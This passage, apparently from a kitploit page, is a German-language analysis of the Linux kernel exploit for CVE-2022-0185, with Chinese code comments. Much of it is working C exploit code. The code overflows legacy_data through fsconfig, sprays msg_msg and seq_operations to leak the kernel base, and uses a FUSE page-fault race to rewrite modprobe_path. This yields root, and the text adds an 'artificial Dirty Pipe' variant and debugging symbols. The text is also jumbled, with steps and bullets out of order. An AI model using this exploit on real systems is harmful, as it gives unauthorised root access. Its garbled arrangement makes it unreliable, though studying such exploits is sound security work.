        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
     *刚好覆盖m_ts,修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}
  1. Hier werden vor und nach der Überlaufoperation mit msgsnd einige kmalloc-Heapblöcke angeordnet. Die genaue Nachrichtenlänge beträgt 0x1018-0x30 = 0xfe8. Gemäß der Nachrichtenstruktur wird sie in zwei Teile von 0xfd und 0x18 aufgeteilt:

    • Erster Abschnitt: Nachrichtenkopf msg_msg 0x30 und Nachricht 0xfd, zusammen 0x1000, gehören zu kmalloc-4k
    • Zweiter Abschnitt: Nachrichtenabschnittskopf msg_msgseg 0x8 und Nachricht 0x18, zusammen 0x20, gehören zu kmalloc-32
  2. Vorbereitung des Überlaufs: Mit fsconfig wird die Länge von legacy_data (angeforderte Länge 4096, gehört zu kmalloc-4k) auf 4095 gefüllt. Hierbei werden 33 'A's verwendet, aber tatsächlich werden jedes Mal die beiden Zeichen ",=" hinzugefügt, sodass effektiv 35 Zeichen pro Füllvorgang verwendet werden, und nach 117 Mal genau 4095 erreicht sind.

    Seitenstartadresse und Seitenende:

    image-20220304094122226

Die Änderungen des Heap-Speichers von Schritt 2 bis Schritt 6 sind in der Abbildung dargestellt. Der rote Pfeil zeigt die Position, auf die der Zeiger legacy_data + size in fsconfig zeigt:

image-20220304093434300

Schreiben an beliebige Adresse zur Privilegieneskalation

Dieser Teil ist relativ einfach. Wie oben erwähnt, wird ein Seitenfehler in copy_from_user in msgsnd ausgelöst, der in der von uns registrierten Benutzerdateisystem-fuse-Handlerfunktion behandelt wird. Während dieser Zeit wird mit fsconfig der zweite Teil der Nachricht durch einen Überlauf überschrieben.```c void do_win() { int size = 0x1000; char buffer[0x2000] = {0}; char pat[0x1000] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); //[1]在0x1337000 mmap 一页 void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾 rooter->mtype = 1; size = 0x1010;

root@kitploit:~
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息,会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

}

void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }

int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));

root@kitploit:~
size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写

return size;

}

root@kitploit:~
1. `mmap` einer Seite auf 0x1337000, Seite 1

2. Die Nachrichtenlänge auf 0x1010-0x30=0xfe0 setzen, sodass die Nachricht genau in zwei Segmente aufgeteilt werden muss.

3. `fsconfig` Vorbereitung der Füllung vor dem Überlauf, beantragt einen `kmalloc-4k`

4. Mit dem zuvor registrierten fuse-Dateisystem eine Seite auf 0x1338000 `mmap`en, Seite 2

5. Nachricht senden, Länge 0xfe0, beantragt einen `kmalloc-4k` und einen `kmalloc-32`. Die Nachricht beginnt am Ende von Seite 1. Wenn die `copy_from_user`-Funktion innerhalb von `msgsnd` die Nachricht vom Benutzerbereich in den Kernelbereich kopiert, wird beim Kopieren auf Seite 2 ein Page Fault ausgelöst, der die `evil_read`-Funktion des Benutzerbereichs-Fuse-Dateisystems aufruft. Diese Funktion wird von uns angegeben und gibt den gewünschten Inhalt an den Kernel. Diese Funktion wartet darauf, dass der folgende Prozess abgeschlossen ist, bevor sie zurückkehrt.

6. Starten Sie zu diesem Zeitpunkt einen neuen Prozess, der die Überlaufoperation durchführt. Der Überlauf überschreibt den Zeiger `msg_msgseg * next` im nachfolgenden Nachrichtenkopf `msg_msg`, sodass der Zeiger auf das zweite Nachrichtensegment auf `modprobe_path` zeigt. Senden Sie dann das Abschlusssignal an die `evil_read`-Funktion.

7. `evil_read` kehrt zurück und führt einen beliebigen Adressschreibvorgang aus. `modprobe_path` wird zu `"/tmp/w"` geändert.

![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

Abbildung:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

Da wir `modprobe_path` geändert haben, gehen wir davon aus, dass die Privilegieneskalation erfolgreich ist. Die spätere Eskalation im Exploit erfolgt durch das Setzen des SUID-Bits auf `/bin/bash`. Das ist jedoch nicht mehr wichtig.

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [Neu] Exploit-Analyse (künstliche Dirty Pipe universelle Version)

Aus: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

Die Hauptidee stammt von der Offenlegung von CVE-2022-0847 (Dirty Pipe). Dabei wurde ein Mechanismus von Pipe und Splice entdeckt:

1. Ein Pipe-Pipe besteht aus 16 Cache-Seiten. Bei jedem Schreiben in die Pipe wird geprüft, bis zu welcher Seite geschrieben wurde. Wenn die Seite nicht vollständig geschrieben wurde, wird versucht, auf derselben Seite weiterzuschreiben. Allerdings können nicht alle Seiten weiterbeschrieben werden, wie zum Beispiel im folgenden Fall.

2. `splice` erlaubt das Übertragen von Dateien in eine Pipe, indem die Cache-Seite der Datei direkt durch die Cache-Seite der Pipe ersetzt wird. Diese ersetzte Datei-Cache-Seite erlaubt kein Weiterbeschreiben durch Pipe.

3. Ab Version 5.8 wird über `pipe_buffer->flags` festgestellt, ob die Seite weiterbeschrieben werden darf. Vor Version 5.8 wurde überprüft, ob `pipe_buffer->ops` `anon_pipe_buf_ops` ist, um festzustellen, ob weiterbeschrieben werden kann.

Die Ursache der Dirty-Pipe-Sicherheitslücke ist, dass `pipe_buffer->flags` nicht initialisiert wird, sodass die durch `splice` übertragenen Datei-Cache-Seiten weitergeschrieben werden können. Obwohl dies bereits behoben wurde, stellt sich die Frage, ob wir durch Manipulation der Flags eine „künstliche Dirty Pipe“ erzeugen können? Die Antwort ist ja. Beachten Sie, dass Dirty Pipe eine Sicherheitslücke ist, die ohne Adressleak ausgenutzt werden kann, und `pipe_buffer` ist ein häufiges Opfer-Struct bei Kernel-Exploits. Die Manipulation seiner Flags oder Ops ist ein Kinderspiel. Im Folgenden wird die Idee beschrieben, einen universellen Exploit durch künstliche Dirty Pipe zu implementieren:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

Zunächst sprühen wir mehrere Nachrichtenwarteschlangen, jede mit einer `msg_msg` der Größe 0x1400. Dadurch wird die Nachricht in zwei Segmente aufgeteilt: eines von 0x1000 und eines von 0x4000. Dann verwenden wir einen Schreibzugriff außerhalb der Grenzen, um das `m_ts`-Bit des Hauptnachrichtensegments auf 0x1800 zu ändern:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

Auf diese Weise kann durch Auffinden von **msgid, das erfolgreich die Länge 0x1800 lesen kann**, festgestellt werden, dass die `msg_msg` dieser Warteschlange überläuft. Außerdem muss durch einen Lesevorgang außerhalb der Grenzen bestätigt werden, dass danach das Nachrichtensegment 2 (sec2) einer anderen Nachricht folgt. Dann werden alle anderen Nachrichtenwarteschlangen freigegeben:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

Dann sprühen wir mehrere Nachrichtenwarteschlangen, jede mit 16 (oder mehreren) `msg_msg` der Größe 0x400. Im Idealfall belegt eine Nachricht aus einer der Warteschlangen den freigegebenen 0x400-Slab, der in der obigen Abbildung gestrichelt dargestellt ist. Es ergibt sich das folgende Layout, wobei die 5. Nachricht der Warteschlange X diesen Slab belegt:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

Dann erhalten wir durch den Lesevorgang außerhalb der Grenzen von msg1 den prev-Wert von msg5, also die Adresse von msg4. Durch die von uns in der Nachricht platzierten Inhalte können wir die Warteschlangennummer X und die Position 5 der Nachricht in der Warteschlange bestimmen.

Als nächstes geben wir msg6 und alle folgenden Nachrichten frei. Dann fügen wir eine neue Nachricht in Warteschlange X hinzu, die wieder hinter msg5 platziert wird, also new msg6 (newmsg6). In newmsg6 platzieren wir (an einer Position, deren Adressende nicht 0x00 ist) einen gefälschten Nachrichtenkopf (fake head), der auf msg4 zeigt. Dies ergibt Folgendes:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

Dann führen wir erneut einen Lesevorgang außerhalb der Grenzen durch und notieren die Adresse des fake head in newmsg6. Dazu addieren wir den von uns platzierten Offset zum Wert von msg5->next, der beim Lesevorgang außerhalb der Grenzen gelesen wurde:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

Dann wiederholen wir das Ganze: Wir führen erneut einen Schreibvorgang außerhalb der Grenzen durch. Diesmal überschreiben wir den next-Zeiger des Nachrichtenkopfes, sodass er auf den fakeHead in newmsg6 zeigt – dessen Adresse wir gerade ermittelt haben:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

Geben Sie msg4 direkt über msgX frei. Sprühen Sie dann `sk_buff`, um den freigegebenen msg4 zu belegen, und fälschen Sie die next- und prev-Zeiger so, dass sie auf sich selbst zeigen (Adresse bereits bekannt). Dies dient dazu, beim zweiten Freigeben den Unlink von msg zu umgehen:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

Dann geben Sie msg4 erneut über die Warteschlange newmsg1 frei und belegen Sie es erneut mit `pipe_buffer`. Dadurch belegen `sk_buff` und `pipe_buffer` denselben Bereich, was zu folgender Situation führt:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

Die folgenden Schritte können direkt dem zweiten Teil der 'Sieg-Formel' entnommen werden, Exploit: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## Debugging-Tipps

Verwandte Symbole:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

Bedingter Haltepunkt``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig

root@kitploit:~
## Referenzen

github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

writeup:https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [CVE-2022-0185 Analyse und Nutzung sowie Gedanken und Praxis zu neuen Pipe-Primitiven](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
Tool herunterladen
  • Es werden weitere 21 Zeichen gefüllt, zusammen mit ",=" insgesamt 23 Zeichen. Hier findet der Überlauf statt. Da zuvor auf 4095 gefüllt wurde, erfolgt ein tatsächlicher Überlauf von 22 Zeichen, also 0x16. Aber normalerweise wird hier über nicht genutzten (zugewiesenen) Speicher überlaufen.

    image-20220304094225004

  • Fortsetzung von msgsnd: Anforderung der msg_msg-Struktur (wird in zwei Teile geteilt). Da der erste Teil der Nachricht die Länge kmalloc-4k hat, wird er mit hoher Wahrscheinlichkeit auf den Bereich nach legacy_data zugewiesen und überschreibt den gerade überlaufenen Teil, was jedoch nicht von Bedeutung ist.

    image-20220304094808536

  • Erneuter Aufruf von fsconfig für den Überlauf. Das ist der Grund, warum der Überlauf in zwei Schritten erfolgt. Der vorherige Überlauf von 22 Zeichen diente nur dazu, den Zeiger vor das Feld m_ts (das die Größe der Nachricht angibt) im msg_msg-Kopf zu verschieben. Wenn nun erneut überlaufen wird, fügt man die beiden Zeichen ",=" vorne hinzu, sodass genau das Feld m_ts im msg_msg-Kopf überschrieben werden kann, um die Größe der Nachricht zu ändern.

    image-20220304094928314

  • Eine Reihe von seq_operations-Strukturen wird gesprayt. Da sie zu kmalloc-32 gehören, landen sie mit hoher Wahrscheinlichkeit hinter dem zweiten Teil der Nachricht.

    image-20220304095339445

  • Nun wird die Nachricht empfangen. Eine der Nachrichten wurde durch unseren Überlauf in der Größe manipuliert, sodass das Lesen einen Pufferüberlauf verursacht und die dahinterliegenden seq_operations-Strukturen ausgelesen werden, um einen Leck zu erzeugen.